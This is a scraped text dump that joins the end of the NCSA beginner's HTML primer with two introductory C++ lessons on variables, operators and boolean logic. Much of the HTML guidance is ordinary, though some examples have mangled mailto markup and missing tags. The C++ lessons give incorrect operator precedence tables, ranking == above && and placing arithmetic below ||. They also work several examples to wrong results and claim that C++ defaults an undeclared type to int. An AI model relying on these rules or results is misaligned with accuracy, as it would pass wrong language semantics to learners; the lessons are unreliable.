(MaineStats.html).\nEnter the HTML coding for a link to a named anchor:\n documentA.html:\n In addition to the many state\nparks, Maine is also home to \n <a href="MaineStats.html#ANP">Acadia\nNational Park</a>.\nThink of the characters after the hash (#) mark as a tab\nwithin the \nMaineStats.html file. This tab tells your browser what should be displayed \nat the top of the window when the link is activated. In other words, the \nfirst line in your browser window should be the Acadia National Park \nheading.\nNext, create the named anchor (in this example "ANP")\nin MaineStats.html:\ntml:\n \n <H2><A NAME="ANP">Acadia\nNational Park</a></H2>\n \nWith both of these elements in place, you can bring a\nreader directly to the \nAcadia reference in MaineStats.html.\nNOTE: You cannot make links to specific sections within\na different document \nunless either you have write permission to the coded source of that document \nor that document already contains in-document named anchors. For example, \nyou could include named anchors to this primer in a document you are writing \nbecause there are named anchors in this guide (use View Source in your \nbrowser to see the coding). But if this document did not have named anchors, \nyou could not make a link to a specific section because you cannot edit the \noriginal file on NCSA's server.\nLinks to Specific Sections within the Current Document\nThe technique is the same except the filename is\nomitted.\nFor example, to link to the ANP anchor from within\nMaineStats, enter:\n ...More information about <A HREF="#ANP">Acadia\nNational Park</a> \n is available elsewhere in this document.\n \n\nBe sure to include the <A NAME=> tag at the place\nin your document where you \nwant the link to jump to (<H2><A NAME="ANP">Acadia\nNational Park</a></H2>).\nNamed anchors are particularly useful when you think\nreaders will print a \ndocument in its entirety or when you have a lot of short information you \nwant to place online in one file.\nMailto\nYou can make it easy for a reader to send electronic\nmail to a specific \nperson or mail alias by including the mailto attribute in a hyperlink. The \nformat is:\n<A HREF="<a href=\"mailto:emailinfo@host\">mailto:emailinfo@host</a>">Name</a>\nFor example, enter:\n<A HREF="<a href=\"mailto:pubs@ncsa.uiuc.edu\">mailto:pubs@ncsa.uiuc.edu</a>">NCSA\nPublications Group</a>\nto create a mail window that is already configured to\nopen a mail window for \nthe NCSA Publications Group alias. (You, of course, will enter another mail \naddress!)\n \n Inline Images\nMost Web browsers can display inline images (that is,\nimages next to text) \nthat are in X Bitmap (XBM), GIF, or JPEG format. Other image formats are \nbeing incorporated into Web browsers [e.g., the Portable Network Graphic \n(PNG) format]. Each image takes time to process and slows down the initial \ndisplay of a document. Carefully select your images and the number of images \nin a document.\nTo include an inline image, enter:\n <IMG SRC=ImageName>\nwhere ImageName is the URL of the image file.\nThe syntax for <IMG SRC> URLs is identical to that\nused in an anchor HREF. \nIf the image file is a GIF file, then the filename part of ImageName must \nend with .gif. Filenames of X Bitmap images must end with .xbm; JPEG image \nfiles must end with .jpg or .jpeg; and Portable Network Graphic files must \nend with .png.\nImage Size Attributes\nYou should include two other attributes on <IMG>\ntags to tell your browser \nthe size of the images it is downloading with the text. The HEIGHT and WIDTH \nattributes let your browser set aside the appropriate space (in pixels) for \nthe images as it downloads the rest of the file. (Get the pixel size from \nyour image-processing software, such as Adobe Photoshop.)\nFor example, to include a self portrait image in a file\nalong with the \nportrait's dimensions, enter:\n <IMG SRC=SelfPortrait.gif\nHEIGHT=100 WIDTH=65>\nNOTE: Some browsers use the HEIGHT and WIDTH attributes\nto stretch or shrink \nan image to fit into the allotted space when the image does not exactly \nmatch the attribute numbers. Not all browser developers think \nstretching/shrinking is a good idea. So don't plan on your readers having \naccess to this feature. Check your dimensions and use the correct ones.\nAligning Images\nYou have some flexibility when displaying images. You\ncan have images \nseparated from text and aligned to the left or right or centered. Or you can \nhave an image aligned with text. Try several possibilities to see how your \ninformation looks best.\nAligning Text with an Image \n By default the bottom of an image is aligned with the following\ntext, as \nshown in this paragraph. You can align images to the top or center of a \nparagraph using the ALIGN= attributes TOP and CENTER.\n This text is aligned with the top of the\nimage (<IMG SRC = \n"BarHotlist.gif" ALIGN=TOP>). Notice how the browser aligns only\none line \nand then jumps to the bottom of the image for the rest of the text.\n And this text is centered on the image\n(<IMG SRC = "BarHotlist.gif" \nALIGN=CENTER>). Again, only one line of text is centered; the rest is below \nthe image.\nImages without Text \nTo display an image without any associated text (e.g., your organization's \nlogo), make it a separate paragraph. Use the paragraph ALIGN= attribute to \ncenter the image or adjust it to the right side of the window as shown \nbelow:\n \n<IMG SRC = "BarHotlist.gif"> \n\nwhich results in:\n \nThe image is centered; this paragraph starts below it\nand left justified.\nAlternate Text for Images\nSome World Wide Web browsers--primarily those that run\non VT100 \nterminals--cannot display images. Some users turn off image loading even if \ntheir software can display images (especially if they are using a modem or \nhave a slow connection). HTML provides a mechanism to tell readers what they \nare missing on your pages.\nThe ALT attribute lets you specify text to be displayed\ninstead of an image. \nFor example:\n <IMG SRC="UpArrow.gif"\nALT="Up">\nwhere UpArrow.gif is the picture of an upward pointing\narrow. With \ngraphics-capable viewers that have image-loading turned on, you see the up \narrow graphic. With a VT100 browser or if image-loading is turned off, the \nword Up is shown in your window.\nYou should try to include alternate text for each image\nyou use in your \ndocument, which is a courtesy for your readers.\nBackground Graphics\nNewer versions of Web browsers can load an image and use\nit as a background \nwhen displaying a page. Some people like background images and some don't. \nIn general, if you want to include a background, make sure your text can be \nread easily when displayed on top of the image.\nBackground images can be a texture (linen finished\npaper, for example) or an \nimage of an object (a logo possibly). You create the background image as you \ndo any image.\nHowever you only have to create a small piece of the\nimage. Using a feature \ncalled tiling, a browser takes the image and repeats it across and down to \nfill your browser window. In sum you generate one image, and the browser \nreplicates it enough times to fill your window. This action is automatic \nwhen you use the background tag shown below.\nThe tag to include a background image is included in the\n<BODY> statement as \nan attribute:\n<BODY BACKGROUND="filename.gif">\nBackground Color\nBy default browsers display text in black on a gray\nbackground. However, you \ncan change both elements if you want. Some HTML authors select a background \ncolor and coordinate it with a change in the color of the text.\nAlways preview changes like this to make sure your pages\nare readable. (For \nexample, many people find red text on a black background difficult to read!)\nYou change the color of text, links, visited links, and\nactive links using \nattributes of the <BODY> tag. For example, enter:\n<BODY BGCOLOR="#000000" TEXT="#FFFFFF"\nLINK="#9690CC">\nThis creates a window with a black background (BGCOLOR),\nwhite text (TEXT), \nand silvery hyperlinks (LINK).\nThe six-digit number and letter combinations represent\ncolors by giving \ntheir RGB (red, green, blue) value. The six digits are actually three \ntwo-digit numbers in sequence, representing the amount of red, green, or \nblue as a hexadecimal value in the range 00-FF. For example, 000000 is black \n(no color at all), FF0000 is bright red, and FFFFFF is white (fully \nsaturated with all three colors). These number and letter combinations are \ncryptic. Fortunately an online resource is available to help you track down \nthe combinations that map to specific colors:\n * ColorPro Web server\nExternal Images, Sounds, and Animations\nYou may want to have an image open as a separate\ndocument when a user \nactivates a link on either a word or a smaller, inline version of the image \nincluded in your document. This is called an external image, and it is \nuseful if you do not wish to slow down the loading of the main document with \nlarge inline images.\nTo include a reference to an external image, enter:\n <A HREF="MyImage.gif">link\nanchor</A>\nYou can also use a smaller image as a link to a larger\nimage. Enter:\n <A HREF="LargerImage.gif"><IMG\nSRC="SmallImage.gif"></A>\nThe reader sees the SmallImage.gif image and clicks on\nit to open the \nLargerImage.gif file.\nUse the same syntax for links to external animations and\nsounds. The only \ndifference is the file extension of the linked file. For example,\n<A HREF="AdamsRib.mov">link\nanchor</A>\nspecifies a link to a QuickTime movie. Some common file\ntypes and their \nextensions are:\nFile Type Extension \nplain text .txt \nHTML document .html \nGIF image .gif \nTIFF image .tiff \nX Bitmap image .xbm \nJPEG image .jpg or .jpeg \nPostScript file .ps \nAIFF sound file .aiff \nAU sound file .au \nWAV sound file .wav \nQuickTime movie .mov \nMPEG movie .mpeg or .mpg\nKeep in mind your intended audience and their access to\nsoftware. Most UNIX \nworkstations, for instance, cannot view QuickTime movies.\n \nTables\nBefore HTML tags for tables were finalized, authors had\nto carefully format \ntheir tabular information within <PRE> tags, counting spaces and\npreviewing \ntheir output. Tables are very useful for presentation of tabular information \nas well as a boon to creative HTML authors who use the table tags to present \ntheir regular Web pages. (Check out the NCSA Relativity Group's pages for an \nexcellent, award-winning example.)\nThink of your tabular information in light of the coding\nexplained below. A \ntable has heads where you explain what the columns/rows include, rows for \ninformation, cells for each item. In the following table, the first column \ncontains the header information, each row explains an HTML table tag, and \neach cell contains a paired tag or an explanation of the tag's function. \n \nTable Elements\n Element \nDescription \n<TABLE> ... defines a table in HTML. If the BORDER\nattribute is \n</TABLE> present, your browser\ndisplays the table with a border. \n<CAPTION> ... defines the caption for the title of the table. The\ndefault \n</CAPTION> position of the title is centered at\nthe top of the table. \n \nThe attribute ALIGN=BOTTOM can be used to position the \n \ncaption below the table. \n \nNOTE: Any kind of markup tag can be used in the caption. \n<TR> ... </TR> specifies a table row within a table. You may define \n \ndefault attributes for the entire row: ALIGN (LEFT, CENTER, \n \nRIGHT) and/or VALIGN (TOP, MIDDLE, BOTTOM). See Table \n \nAttributes at the end of this table for more information. \n<TH> ... </TH> defines a table header cell. By default the text in\nthis \n \ncell is bold and centered. Table header cells may contain \n \nother attributes to determine the characteristics of the \n \ncell and/or its contents. See Table Attributes at the end \n \nof this table for more information. \n<TD> ... </TD> defines a table data cell. By default the text in\nthis cell \n \nis aligned left and centered vertically. Table data cells \n \nmay contain other attributes to determine the \n \ncharacteristics of the cell and/or its contents. See Table \n \nAttributes at the end of this table for more information.\n \n Table Attributes\nNOTE: Attributes defined within <TH> ... </TH>\nor <TD> ... </TD> cells \noverride the default alignment set in a <TR> ... </TR>. \n \nAttribute \n \nDescription \n * ALIGN (LEFT, CENTER, RIGHT)\n * VALIGN (TOP, MIDDLE, BOTTOM)\n * COLSPAN=n\n * ROWSPAN=n\n * NOWRAP \n \n* Horizontal alignment of a cell.\n \n* Vertical alignment of a cell.\n \n* The number (n) of columns a cell spans.\n \n* The number (n) of rows a cell spans.\n \n* Turn off word wrapping within a cell.\nGeneral Table Format\nThe general format of a table looks like this:\n<TABLE> \n<== start of table definition\n<CAPTION> caption contents </CAPTION> \n<== caption definition\n<TR> \n<== start of first row definition \n<TH> cell contents </TH> \n<== first cell in row 1 (a head)\n<TH> cell contents </TH> \n<== last cell in row 1 (a head) \n</TR> \n<== end of first row definition\n<TR> \n<== start of second row definition \n<TD> cell contents </TD> \n<== first cell in row 2\n<TD> cell contents </TD> \n<== last cell in row 2 \n</TR> \n<== end of second row definition\n<TR> \n<== start of last row definition \n<TD> cell contents </TD> \n<== first cell in last row \n... \n<TD> cell contents </TD> \n<== last cell in last row \n</TR> \n<== end of last row definition\n</TABLE> \n<== end of table definition\nThe <TABLE> and </TABLE> tags must surround\nthe entire table definition. The \nfirst item inside the table is the CAPTION, which is optional. Then you can \nhave any number of rows defined by the <TR> and </TR> tags. Within a\nrow you \ncan have any number of cells defined by the <TD>...</TD> or <TH>...</TH> \ntags. Each row of a table is, essentially, formatted independently of the \nrows above and below it. This lets you easily display tables like the one \nabove with a single cell, such as Table Attributes, spanning columns of the \ntable.\nTables for Nontabular Information\nSome HTML authors use tables to present nontabular\ninformation. For example, \nbecause links can be included in table cells, some authors use a table with \nno borders to create "one" image from separate images. Browsers that\ncan \ndisplay tables properly show the various images seamlessly, making the \ncreated image seem like an image map (one image with hyperlinked quadrants).\nUsing table borders with images can create an impressive\ndisplay as well. \nExperiment and see what you like.\n \n Fill-out Forms\nWeb forms let a reader return information to a Web\nserver for some action. \nFor example, suppose you collect names and email addresses so you can email \nsome information to people who request it. For each person who enters his or \nher name and address, you need some information to be sent and the \nrespondent's particulars added to a data base.\nThis processing of incoming data is usually handled by a\nscript or program \nwritten in Perl or another language that manipulates text, files, and \ninformation. If you cannot write a program or script for your incoming \ninformation, you need to find someone who can do this for you.\nThe forms themselves are not hard to code. They follow\nthe same constructs \nas other HTML tags. What could be difficult is the program or script that \ntakes the information submitted in a form and processes it. Because of the \nneed for specialized scripts to handle the incoming form information, \nfill-out forms are not discussed in this primer. Check the Additional Online \nReference section for more information.\n \n Troubleshooting\nAvoid Overlapping Tags\nConsider this example of HTML:\n This is an example of <DFN>overlapping\nHTML tags.</DFN>\nThe word overlapping is contained within both the\n and <DFN> tags. A \nbrowser might be confused by this coding and might not display it the way \nyou intend. The only way to know is to check each popular browser (which is \ntime-consuming and impractical).\nIn general, avoid overlapping tags. Look at your tags\nand try pairing them \nup. Tags (with the obvious exceptions of elements whose end tags may be \nomitted, such as paragraphs) should be paired without an intervening tag in \nbetween. Look again at the example above. You cannot pair the bold tags \nwithout another tag in the middle (the first definition tag). Try matching \nyour coding up like this to see if you have any problem areas that should be \nfixed before your release your files to a server.\nEmbed Only Anchors and Character Tags\nHTML protocol allows you to embed links within other\nHTML tags:\n <H1><A HREF="Destination.html">My\nheading</A></H1>\nDo not embed HTML tags within an anchor:\n <A HREF="Destination.html"> \n <H1>My heading</H1> \n </A>\nAlthough most browsers currently handle this second\nexample, the official \nHTML specifications do not support this construct and your file will \nprobably not work with future browsers. Remember that browsers can be \nforgiving when displaying improperly coded files. But that forgiveness may \nnot last to the next version of the software! When in doubt, code your files \naccording to the HTML specifications (see For More Information below).\nCharacter tags modify the appearance of the text within\nother elements:\n <UL> \n <LI>A bold list item \n <LI>An italic list item \n </UL>\nAvoid embedding other types of HTML element tags. For\nexample, you might be \ntempted to embed a heading within a list in order to make the font size \nlarger:\n <UL> \n <LI><H1>A large heading</H1> \n <LI><H2>Something slightly smaller</H2> \n </UL>\nAlthough some browsers handle this quite nicely,\nformatting of such coding \nis unpredictable (because it is undefined). For compatibility with all \nbrowsers, avoid these kinds of constructs. (The Netscape tag, which \nlets you specify how large individual characters will be displayed in your \nwindow, is not currently part of the official HTML specifications.)\nWhat's the difference between embedding a \nwithin a <LI> tag as opposed \nto embedding a <H1> within a <LI>? Within HTML the semantic meaning\nof <H1> \nis that it's the main heading of a document and that it should be followed \nby the content of the document. Therefore it doesn't make sense to find a \n<H1> within a list.\nCharacter formatting tags also are generally not\nadditive. For example, you \nmight expect that:\n some\ntext\nwould produce bold-italic text. On some browsers it\ndoes; other browsers \ninterpret only the innermost tag.\nDo the Final Steps\nValidate Your Code\nWhen you put a document on a Web server, be sure to\ncheck the formatting and \neach link (including named anchors). Ideally you will have someone else read \nthrough and comment on your file(s) before you consider a document finished.\nYou can run your coded files through an HTML validation\nservice that will \ntell you if your code conforms to accepted HTML. If you are not sure your \ncoding conforms to HTML specifications, this can be a useful teaching tool. \nFortunately the service lets you select the level of conformance you want \nfor your files (i.e., strict, level 2, level 3). If you want to use some \ncodes that are not officially part of the HTML specifications, this latitude \nis helpful.\nDummy Images\nWhen an <IMG SRC> tag points to an image that does\nnot exist, a dummy image \nis substituted by your browser software. When this happens during your final \nreview of your files, make sure that the referenced image does in fact \nexist, that the hyperlink has the correct information in the URL, and that \nthe file permission is set appropriately (world-readable). Then check online \nagain!\nUpdate Your Files\nIf the contents of a file are static (such as a\nbiography of George \nWashington), no updating is probably needed. But for documents that are time \nsensitive or covering a field that changes frequently, remember to update \nyour documents!\nUpdating is particularly important when the file\ncontains information such \nas a weekly schedule or a deadline for a program funding announcement. \nRemove out-of-date files or note why something that appears dated is still \non a server (e.g., the program requirements will remain the same for the \nnext cycle so the file is still available as an interim reference).\nBrowsers Differ\nWeb browsers display HTML elements differently. Remember\nthat not all codes \nused in HTML files are interpreted by all browsers. Any code a browser does \nnot understand is usually ignored though.\nYou could spend a lot of time making your file\n"look perfect" using your \ncurrent browser. If you check that file using another browser, it will \nlikely display (a little or a lot) differently. Hence these words of advice: \ncode your files using correct HTML. Leave the interpreting to the browsers \nand hope for the best.\nCommenting Your Files\nYou might want to include comments in your HTML files.\nComments in HTML are \nlike comments in a computer program--the text you enter is not used by the \nbrowser in any formatting and is not directly viewable by the reader just as \ncomputer program comments are not used and are not viewable. The comments \nare accessible if a reader views the source file, however.\nComments such as the name of the person updating a file,\nthe software and \nversion used in creating a file, or the date that a minor edit was made are \nthe norm.\nTo include a comment, enter:\n \nYou must include the exclamation mark and the hyphens as\nshown.\n \nFor More Information\nThis guide is only an introduction to HTML, not a\ncomprehensive reference. \nBelow are additional online sources of information. Remember to check a \nbookstore near you for Web and HTML books.\nStyle Guides\nThe following offer advice on how to write\n"good" HTML:\n * Composing Good HTML \n * W3C's style guide for online hypertext\n"},{"WorldId":3,"id":418,"LineNumber":1,"line":"\n<h2>Beginners C++ - Lesson 2</h2>\nInstructor: Paul C. Benedict,\nJr. (PCC PaulB)\n<h2>Color coded text:</h2>\n black \nNew things to Remember \n \nblue C++\nkeywords (do, while) \n green \nC++ preprocessor directives (#include, #define)\n \n\n<h1>Section 2.1</h1>\nFrom last time, we learned how to declare numbers and do math with them. For\ninstance, lets declare an integer variable we call x and set it to five:\nExample 2.1.1 \n int x = 5;\nThis called initialization! We call it\ninitialization because x was set to five when it was created (The int\nmeans create an integer variable. It is not an abbrevation for initialization).\nNow, if we left off the value (called the inital\nvalue), x would contain junk. What do we mean when we say it contains\njunk? When x was allocated (memory that\nwas set aside for x), whatever value that was in memory previously before\nx is now the value of x. We call this value of x undefined\nbecause we did not define the value, and since the value is undefined, the\nvariable is uninitialized. You cannot do\nanything useful with the variable until it was initialized. You do not have to\ninitialize variables when you declare\nthem.variable before using it.\nExample 2.1.2 \nHere you declare two variables, then assign them later. \n int x; \n int y; \n x = 5; \n y = x * 3;\nFirst x and y is declared (and has an undefined value because\nit is uninitalized). Then x is initialized to the value five. They y\nis initialized to the value of x times 3, which is fifteen.\nExample 2.1.3 \nWhat happened if we did this? \n int x; \n x = x + 1;\nWhat is the value of x? We don't know. x is whatever it was\nplus one now. The value is completely meaningless to us. One of the most common bugs\nin programming is not initializing variables before you use it. (On a side note,\na bug is an "unlisted feature" in a program that makes the program not\nwork they way you want it - the last example shows this.).\n \n\n<h1>Section 2.2</h1>\nThese are the current operators we know so far from our last lesson: \n Addition \n+ \n Subtraction \n- \n Multiplication \n* \n Division \n/ \n Modular Division (Remainder) %\nWe are now going to learn some more operators to work with numbers: \n Increment \n++ \n Decrement \n-- \n Addition Assignment \n+= \n Subtraction Assignment \n-= \n Multiplication Assignment \n*= \n Division Assignment \n/= \n Remainder Assignment \n%=\nExample 2.2.1 \nThe increment operator ++ increments a variable by one. \nThe decrement operator -- decrements a variable by one. \n int x = 10; \n x++; \n x = x + 3; \n x--;\nFirst x is initialized to the value ten. \nThen it is incremented to the value eleven. \nNext we add three to it. \nThen we decrement it. \nThe final value for the variable x is now thirteen.\nExample 2.2.2 \nNow, with the += operator we can simply this even more: \n int x = 10; \n x++; \n x += 3; \n x--;\nWow! Look at that! \n x += 3; \nIs an equivalent shorthand for \n x = x + 3;\nExample 2.2.3 \nSo, lets see how we can reduce our typing on these next four statements: \n x = x + 1; \n x = x - 3; \n x = x * 2; \n x = x / 3; \nThey reduce to: \n x += 1; \n x -= 3; \n x *= 2; \n x /= 3;\nThe C++ makers were nice enough to save some typing for us. You will always\nsee these shorthands in professional code, so always keep these in the back of\nyour mind. Once you begin programming, you will become very fluent in the\nlanguage and begin using it naturally.\n \n\n<h1>Section 2.3</h1>\nNow we are going to learn the all important assignment precedence and\nassociativity rules. In math, do you remember the "Pretty Please My\nDear Aunt Sally" (PPMDAS) phrase? That was a saying to remember the precedence\nrules of our operators: \n Parentheses \nHighest \n Powers \n Multiplication, Division \n Addition, Subtraction \nLowest\nExample 2.3.1 \n int x = 2 + 5 * 3;\nAccording to precedence, multiplication comes first before addition. So we\nmultiply five and three, then add two. x now contains seventeen. We could\nhave thrown in parentheses and got a different answer:\nExample 2.3.2 \n int x = (2 + 5) * 3;\nParentheses has the highest precedence here, so we do the inside of them\nfirst. Two plus five is seven, then we multiply by three and get twenty-one.\nIn C++, there are many other operators we must deal with. We will introduce\ntwo other operators to you (one which you should already be familiar with). We\nhave the = operator (which we call the assignment\noperator), and we have the == operator (which we call the equality\noperator).\nThe = operator will assign what is on the right-hand side to the left-hand\nside of the equal sign.\nThe == operator will test to see if what is on the right-hand side is equal\nto the left-hand side. If they are equal, the == operator returns to use the\nvalue of true (which\nis 1). If they are not equal, it returns the value of false\n(which is zero).\nThese two new operators are also on the precedence list, and now we can\nexpand the list to this: \n ( ) \nHighest \n == \n = \n *, / \n +, - \nLowest\nExample 2.3.3 \nWhich means, if we did a statement like this: \n int x = 2; \n int y = x == 3;\nx would first be assigned two. Then for y, first x would\nbe compared to three. Since they are not equal, we get a value of false\n(which is zero), and assign that to y. y is now zero.\nExample 2.3.4 \nTo complicate things a tad-bit further, say that we did this: \n int x = 0; \n int y = x == 3 == 5;\nFirst x is assigned zero. Then for y, we first compare three\nagainst five. Since they are not equal, we get back the value false\n(which is zero). We then compare the value of zero to the value of x.\nThey are equal so it returns the value of true\n(which is one) and assign it to y. y now equals one.\nExample 2.3.5 \nFor fast initialization of many variables, we can even do this: \n int x = 3; \n int y; \n int z; \n z = y = x;\nAll variables now equal three.\n \n\n<h1>Section 2.4</h1>\nNext up in the wonderful world of C++.......... \nboolean algebra (created by Mr. Boole)\nYou will now learn how to do more algebra in binary! Remember our great\nlesson from last time? We'll for the ones who asked why do I have to know this\nstuff, it is because working with bits of a number is more important than the\nnumber itself. I can guarantee that if you can't do boolean algebra, you will\nnot have a fun time finding a job as a C++ programmer. Boolean algebra is a\nfundamental component of programming - rather it is C++, straight C, Visual\nBasic, Pascal, etc. This might be a confusing part for non-programmers, so we\nare going to spend the rest of the lesson nailing down the basics (What's the\nuse of a lesson if you left confused?).\nThe great geniuses of C++ came up with the bool\ndata type (::ding, ding, ding::: New Data Type!). This is even a brand new type\nfor fellow C programmers who moved to C++ (Remember C++ is just a superset of C,\nwhich means it adds on to C. And if you looked at the name "C++", it\nis C with the increment operator. Pretty cool, huh?).\nNow, if you don't know, the bool\ndata type can hold only two values: true\nand false.\nIf you want numerical value for these constants,\nconstants are values that never change, use this simple rule: \n true = one \n false = zero\nExample 2.4.1 \n bool x = true; \n bool y = (false == x);\nSince == has higher precedence over =, we do test for equality first. \nSince false does not equal x, it evaluates the value false which\nis set to y. \nWhen we mean "returns", just think of it as another meaning for the\nword "equals".\nExample 2.4.2 \n bool x = false; \n bool y = true; \n bool z = (true == y) ==\ntrue; \n \nFirst we test true\nagainst y which evaluates to true. \nWe than compare true against true\nwhich is true.\nExample 2.4.3 \n bool x = false; \n bool y = false; \n z = (false == false) ==\ntrue;\nfalse is\nfirst compared to false,\nwhich returns true. \nThe returning true than\nis compared against true,\nwhich returns true. \nThe returning true is\nnow set to z.\n \n\n<h1>Section 2.5</h1>\nThere are four main operations we use in logic: \n NOT ! \n AND \n&& \n OR \n|| \n XOR ^\nNOT takes the opposite of a boolean value. If a variable is true,\nthe NOT of it is false.\nThink of it in English: if a value is not true,\nit is false.\nAND takes two variables and determines if both are true.\nIf both are, AND evaluates to true.\nIf either one or both are false,\nit evaluates to false.\nOR takes two variables and determines if any of them are true.\nIf just one or both are, OR returns true.\nOtherwise, it is false.\nXOR won't be discussed in-depth. XOR stands for Exclusive-OR. It only returns\ntrue when only one value is true.\nIf both are the same value (either both true\nor both false,\nit evaluates to false).\nNow we have to add these (yes, once again) to our precedence list: \n ( ) \nHighest \n ! \n == \n = \n && \n || \n *, / \n +, - \nLowest\nExample 2.5.1 \n bool x = true; \n bool y = false; \n bool z = x && y;\nx and y is ANDed (&&) together. Since y is false,\nit makes the entire expression false,\nand z is set to false.\nExample 2.5.2 \n bool x = false; \n bool y = !true == x\n&& !x;\n!x equals true. \nANDed with x which evaluates false \nAnd that evaluated false\ncompared to !true\nevaluates to true. \ny evaluates true.\n \n\n<h1>New terms to remember</h1>\nAllocate \nAnd \nBoolean \nBugs \nConstant \nDecrement \n\n<h2>false</h2>\nInitialization \nIntial value \nincrement \nNot \nOr \nPrecedence \nUndefined \nUninitalized \n\n<h2>true</h2>\nXor\n \n\n<h1>Review problems</h1>\n01. What is wrong with this code? (find the bug) \n \nint x; \n \nint y = 2; \n \nint z;\n \nz = y + 1; \n \ny = z + y; \n \nz = z + x;\n02. What values do we get for all the variables? \n \nint a = 3; \n \nint b = 45; \n \nint c = 1; \n \nbool d = c == 1; \n \nbool e = false == false == 1; \n \n03. Why won't this code compile? \n \nr = 44;\n04. What do we get in this? \n \nbool x = true; \n \nbool y = false; \n \nbool z = ((x == y) == y);\n05. What do we get in this? \n \nbool x = false; \n \nbool y = true; \n \nbool z = false == true == false == x;\nWe will be using these variables in the following examples: \n \nbool p = true; \n \nbool q = false; \n \nbool r = true;\n06. bool a = !true;\n07. bool b = (false == !false)\n&& true;\n08. bool c = q && r == false;\n09. bool d = (p && q) || r;\n11. bool e = (r && r) &&\nq;\n12. bool f = p && (q || r);\n13. bool g = !q && p;\n14. bool h = !(q || p);\n15. bool k = p && !q || r\n|| p && !p\nML> \n\n"},{"WorldId":3,"id":417,"LineNumber":1,"line":"\nInstructor: Paul C. Benedict,\nJr. (PCC PaulB) \nKeyword: Online\nClassroom \nResources: PC\nDevelopment Forum\n \n<h3>Color coded text:</h3>\n black \nNew things to Remember \n \nblue C++\nkeywords (do, while) \n green \nC++ preprocessor directives (#include, #define)\n \n\n<h1>Section 1.1</h1>\nWelcome fellow programmers!! This is part one of the course which will\nshow you the basics of programming C++ from scratch using the any platform. \nIf you already know how to use the C++ already, you might want to read later\nlessons when available. So, lets begin.\nBeing developed by mathematicians, C++ is naturally a math-oriented\nprogramming language. It should be very natural since we have all done\nmath to some extent. The only difficult part is learning the syntax of the\nC++ language. Syntax is the use of the language, just like all spoken\nlanguages have. To write a program that works, you must have correct\nsyntax or it will not run.\nWhat the programmer, that's you, write is what is called source\ncode. Its the source of your program which turns into code, what you\nrun. What makes this transition is called the "compiler". \nThe compiler is a program which turns your source into code. This program\nis automatically part of programs such as Borland\nC++ and Microsoft Visual C++. On a\nside note, do not get confused with "C++" and "Visual C++" -\nC++ is a programming language, and Visual C++ is a product which compiles C++. \nI get alot of questions about this, so I figured I would clear this up now.\nNow lets go more in-depth into making a program. There are four steps:\n 1. Write out your source code (in a .CPP file) \n 2. Compile your program \n 3. Link your program \n 4. Run your program\nWe have already discussed steps 1 and 2. Step 3, linking\nyour program is new to us. You see, there are many programs out there that\nare already written for you, which means you don't have to write them. \nAfter the compiler compiles your program, it links your program to other\npre-written programs, and creates an executable\nfile (.EXE). This executable file is what is used to run the program.\nNow a .cpp file is just like any other text\nfile. You can write this in notepad if you would, but usually you would\nuse the product's Integrated Development\nEnvironment (IDE). This IDE is "integrated" because it\nincorporates a text editor, the compiler, the linker, help files, and tools.\n \n \n<h1>Section 1.2</h1>\nIn this lesson, we are here to learn the syntax of the C++ language to allow\nus to delve deeper into the depths of C++ Windows programming in the next\nlesson. The most fundamental part of a language are types,\nvariables, and expressions. \nThe first statement we are going to learn is the assignment expression:\n variable = expression;\nFor example:\n x = 3 + 5;\nThis allows us to assign a value of 3 + 5, which is 8 to the variable x. \nAn expression which is always on the right-side gets evaluated by the compiler\nand is assigned to a variable on the left. Please note that expressions\ncan only be on the right side, otherwise the compiler will yell at you "Hey\nyou, what's going on?" :-)\nThe = means assign the value of the right to the left hand side. \nRemember that you need a variable on the left hand side of the =, not an\nexpression. The compiler evaluates the expression on the right hand side,\ndeduces what you mean, and assigns it to the left hand side. In our\nexample, the compiler evaluates the expression on the right side of the = to\nmean 8 and assigns it to the variable x on the left side.\nThe entire line of our example, x = 3 + 5; is called a statement. \nIf you are a BASIC programmer, you know that you must put everything on one\nline. In C and C++, your statement can span multiple lines. If we\nwanted, we could write our statement to look like this:\n x = 3 \n + \n 5 \n ;\nTo the compiler, this makes absolutely no difference. It sees the\nstatement as the same as if you wrote it on one line (which made it much more\nreadable to us humans) :-) Please note that for every statement you\nwrite, it is ended in a semi-colon ;. This is very critical,\notherwise the compiler will keep on looking at this as one expression and it\nwill look like complete junk to it. Forgetting the semi-colon is bad\nsyntax, and therefore you are not speaking the language correctly.\nIt is always required that you declare the type of the variable. This\nis because so the compiler knows how much memory to set aside for your variable. \nIf you do not specify a type, it will automatically be an int.\n \n \n<h1>Section 1.3</h1>\nNow we are going to learn how to do assignments full with variables. \nThe first thing we must understand about variables are what they are and how to\nuse them in a program. A variable is a location in your computer's memory\nwhere you can save and retrieve information. The type of data can be anything\nyou want. The most common data we will be using are integers, floating\npoint numbers, characters, and strings.\nIntegers are numbers like -1, 2, 0, 3456. Any number that can\nrepresented on a number line (remember math?) :-)\nFloating point numbers are fractional numbers: 1.0, 3.4, 0.72984, 10E-10. \nThe reason it is called floating point is\nbecause the decimal point can move around through addition. For instance,\n.01 * .01 = .0001\nCharacters are a single letter, number, or\nsymbol. For instance, 'A', 'B', '3', <a href=\"mailto:'@'\">'@'</a>. \nCharacters are represented in single quotation marks.\nStrings are a collection of characters. \nFor instance, "How may I help you?", "This string is filled\nwith junk at the end 232312312312", "(*&^%". \nStrings are denoted by double quotation marks.\nNow, here is some code that shows all the types you just learned, except the\nstring. The string is a little bit more complicated and will be reviewed\nlater:\n int MyNumber = 3; \n float Pi = 3.14; \n char LetterA = 'A';\nWhat we have above is three declarations. We declare\nthree variables an assign values to them. We declare the variable "MyNumber"\nas type "int", which means it is an integer. We declare the\nvariable "Pi" as type "float", which means it is a floating\npoint number. We also declare the variable "LetterA" as type\n"char", which means it is a character.\nWith numerical data types (like int\nand float),\nwe can perform simple math operations on them:\n Addition \n+ \n Subtraction \n- \n Multiplication \n* \n Division \n/ \n Modular Division (Remainder) %\nWe will not review the four simple math operations, but here is an example of\nthe four:\n int MyNumber = 3; \n MyNumber = MyNumber + 2; \n MyNumber = MyNumber - 1; \n MyNumber = MyNumber * 3; \n MyNumber = MyNumber / 2;\nIn the first statement, the variable MyNumber is taken, adds 2 to it,\nand stores it back in MyNumber. Right now, MyNumber now\nequals 5. Then we subtract one and store back the result, multiply by\nthree and store back the result, and then divide by 2 and store back the result. \nMyNumber now contains 6.\nPlease note that the "=" (equal operator) does not mean\n"equal". Read it as "assigns". This assigns the\nvalue of the right side to the variable on the left side.\nThe Modular Division operator (or Remainder operator), returns the remainder\nof a division:\n int Remainder = 7 % 4;\nThe variable Remainder contains the value of 3 now. How did we\nget that? 